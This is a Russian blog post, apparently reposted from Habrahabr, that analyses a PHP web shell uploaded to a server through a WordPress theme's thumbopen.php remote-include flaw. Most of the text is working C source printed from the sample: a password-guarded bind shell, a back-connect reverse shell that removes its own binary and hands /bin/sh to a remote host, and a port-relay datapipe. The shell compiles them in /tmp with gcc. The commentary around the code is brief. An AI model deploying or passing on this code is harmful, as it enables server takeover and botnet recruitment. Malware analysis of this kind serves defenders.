Пример того, как сервер под управлением *nix может стать частью ботнета

от автора

В последнее время на различных ресурсах появляются сообщения о том, что злоумышленники все чаще используют для осуществления DDoS-атак серверные конфигурации. Очевидно, что для использования такой системы необходимо сначала получить к ней доступ. Не так давно я столкнулся с довольно интересным, как мне показалось, образцом PHP Shell’а.

Итак, как же злоумышленники осуществляют загрузку вредоносного кода на сервер? Тут все банально – рассматриваемый образец был загружен в результате эксплуатации известной уязвимости:

"GET /wp-content/themes/newsworld/thumbopen.php?src=http%3A%2F%2Fpicasa.com.orland******.com/kikok.php HTTP/1.1" 400 447 "-" "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"

Вот содержимое kikok.php: paste.ubuntu.com/5577560/
После выполнения несложных операций по декодированию из base64 получим следующее: paste.ubuntu.com/5577565/
На первый взгляд, типичный PHP Shell, что же тут такого необычного? В теле PHP-скрипта присутствует код на C:

Sample 1

$port_bind_bd_c=" #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> int main(argc,argv) int argc; char **argv; {    int sockfd, newfd;  char buf[30];  struct sockaddr_in remote;  if(fork() == 0) {   remote.sin_family = AF_INET;  remote.sin_port = htons(atoi(argv[1]));  remote.sin_addr.s_addr = htonl(INADDR_ANY);   sockfd = socket(AF_INET,SOCK_STREAM,0);  if(!sockfd) perror("socket error");  bind(sockfd, (struct sockaddr *)&remote, 0x10);  listen(sockfd, 5);  while(1)   {    newfd=accept(sockfd,0,0);    dup2(newfd,0);    dup2(newfd,1);    dup2(newfd,2);    write(newfd,"Password:",10);    read(newfd,buf,sizeof(buf));    if (!chpass(argv[2],buf))    system("echo welcome to r57 shell POWERED by d35m0 && /bin/bash -i");    else    fprintf(stderr,"Sorry");    close(newfd);   }  } } int chpass(char *base, char *entered) { int i; for(i=0;i<strlen(entered);i++)  { if(entered[i] == '\n') entered[i] = '\0';  if(entered[i] == '\r') entered[i] = '\0'; } if (!strcmp(base,entered)) return 0; } "; 

Sample 2

$back_connect_c=" #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> int main(int argc, char *argv[]) {  int fd;  struct sockaddr_in sin;  char rms[21]="rm -f ";   daemon(1,0);  sin.sin_family = AF_INET;  sin.sin_port = htons(atoi(argv[2]));  sin.sin_addr.s_addr = inet_addr(argv[1]);   bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));   fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;   if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {    perror("[-] connect()");    exit(0);  }  strcat(rms, argv[0]);  system(rms);    dup2(fd, 0);  dup2(fd, 1);  dup2(fd, 2);  execl("/bin/sh","sh -i", NULL);  close(fd);  } "; 

Sample 3

$datapipe_c=" #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <netdb.h> #include <linux/time.h> #ifdef STRERROR extern char *sys_errlist[]; extern int sys_nerr; char *undef = "Undefined error"; char *strerror(error)   int error;   {  if (error > sys_nerr) return undef; return sys_errlist[error]; } #endif  main(argc, argv)     int argc;     char **argv;   {    int lsock, csock, osock;   FILE *cfile;   char buf[4096];   struct sockaddr_in laddr, caddr, oaddr;   int caddrlen = sizeof(caddr);   fd_set fdsr, fdse;   struct hostent *h;   struct servent *s;   int nbyt;   unsigned long a;   unsigned short oport;    if (argc != 4) {     fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);     return 30;   }   a = inet_addr(argv[3]);   if (!(h = gethostbyname(argv[3])) &&       !(h = gethostbyaddr(&a, 4, AF_INET))) {     perror(argv[3]);     return 25;   }   oport = atol(argv[2]);   laddr.sin_port = htons((unsigned short)(atol(argv[1])));   if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {     perror("socket");     return 20;   }   laddr.sin_family = htons(AF_INET);   laddr.sin_addr.s_addr = htonl(0);   if (bind(lsock, &laddr, sizeof(laddr))) {     perror("bind");     return 20;   }   if (listen(lsock, 1)) {     perror("listen");     return 20;   }   if ((nbyt = fork()) == -1) {     perror("fork");     return 20;   }   if (nbyt > 0)     return 0;   setsid();   while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {     cfile = fdopen(csock,"r+");     if ((nbyt = fork()) == -1) {       fprintf(cfile, "500 fork: %s\n", strerror(errno));       shutdown(csock,2);       fclose(cfile);       continue;     }     if (nbyt == 0)       goto gotsock;     fclose(cfile);     while (waitpid(-1, NULL, WNOHANG) > 0);   }   return 20;   gotsock:   if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {     fprintf(cfile, "500 socket: %s\n", strerror(errno));     goto quit1;   }   oaddr.sin_family = h->h_addrtype;   oaddr.sin_port = htons(oport);   memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);   if (connect(osock, &oaddr, sizeof(oaddr))) {     fprintf(cfile, "500 connect: %s\n", strerror(errno));     goto quit1;   }   while (1) {     FD_ZERO(&fdsr);     FD_ZERO(&fdse);     FD_SET(csock,&fdsr);     FD_SET(csock,&fdse);     FD_SET(osock,&fdsr);     FD_SET(osock,&fdse);     if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {       fprintf(cfile, "500 select: %s\n", strerror(errno));       goto quit2;     }     if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {       if ((nbyt = read(csock,buf,4096)) <= 0) 	goto quit2;       if ((write(osock,buf,nbyt)) <= 0) 	goto quit2;     } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {       if ((nbyt = read(osock,buf,4096)) <= 0) 	goto quit2;       if ((write(csock,buf,nbyt)) <= 0) 	goto quit2;     }   }   quit2:   shutdown(osock,2);   close(osock);  quit1:   fflush(cfile);   shutdown(csock,2);  quit0:   fclose(cfile);   return 0; } "; 

Код компилирурется непосредственно на сервере:

 cf("/tmp/bd.c",$port_bind_bd_c);  $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); ... 

Согласитесь, весьма необычная реализация.
А вот как реагирует на подобного рода семплы антивирусная индустрия в целом: www.virustotal.com/ru/file/4d0d5be4e24ba5b4f0c2cca2398e2ac123bd5c13e8eeadd07fc0c1a1fb61bb1f/analysis/1362169702/

ссылка на оригинал статьи http://habrahabr.ru/post/171317/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *